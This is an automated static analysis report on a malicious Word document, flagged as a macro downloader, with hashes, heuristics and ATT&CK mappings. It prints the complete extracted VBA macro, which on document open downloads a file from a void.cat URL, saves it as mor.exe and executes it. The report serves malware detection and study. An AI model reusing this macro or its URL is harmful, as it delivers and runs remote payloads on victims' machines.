Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b11dc695c87cc875…

MALICIOUS

Office (OLE)

245.0 KB Created: 2018-07-11 11:20:00 Authoring application: Microsoft Office Word First seen: 2019-10-30
MD5: 6f67315a00b4f111b02291cf6279c272 SHA-1: 00c1f9baf96d2cc08d1b2aae87b6644471a13736 SHA-256: b11dc695c87cc8756ef75e28d0443f8eb8d2efce410ff91f18fd4824924e763d
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The AutoOpen VBA macro contains critical firings for Shell() and HTTP download with file save, indicating it's designed to download and execute a second-stage payload. The script reconstructs the URL "https://void.cat/603b3476784deafb51d7fd6f2ddc64c8d57db479" and saves the downloaded content as "mor.exe", which is then executed via Shell(). This behavior is characteristic of a macro-based downloader.

Heuristics 8

  • ClamAV: Doc.Macro.Downloader-6360614-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Downloader-6360614-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell ("mor.exe")
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
     .write xHttp.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://void.cat/603b3476784deafb51d7fd6f2ddc64c8d57db479 Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 701 bytes
SHA-256: fa878e2b5a20bb25ff1cd67b5a94398171919c9c31a848159167d8936b1ce50f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()

Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "https://void.cat/603b3476784deafb51d7fd6f2ddc64c8d57db479", False
xHttp.Send

With bStrm
 .Type = 1 '//binary
 .Open
 .write xHttp.responseBody
 .savetofile "mor.exe", 2 '//overwrite
End With

Shell ("mor.exe")

End Sub

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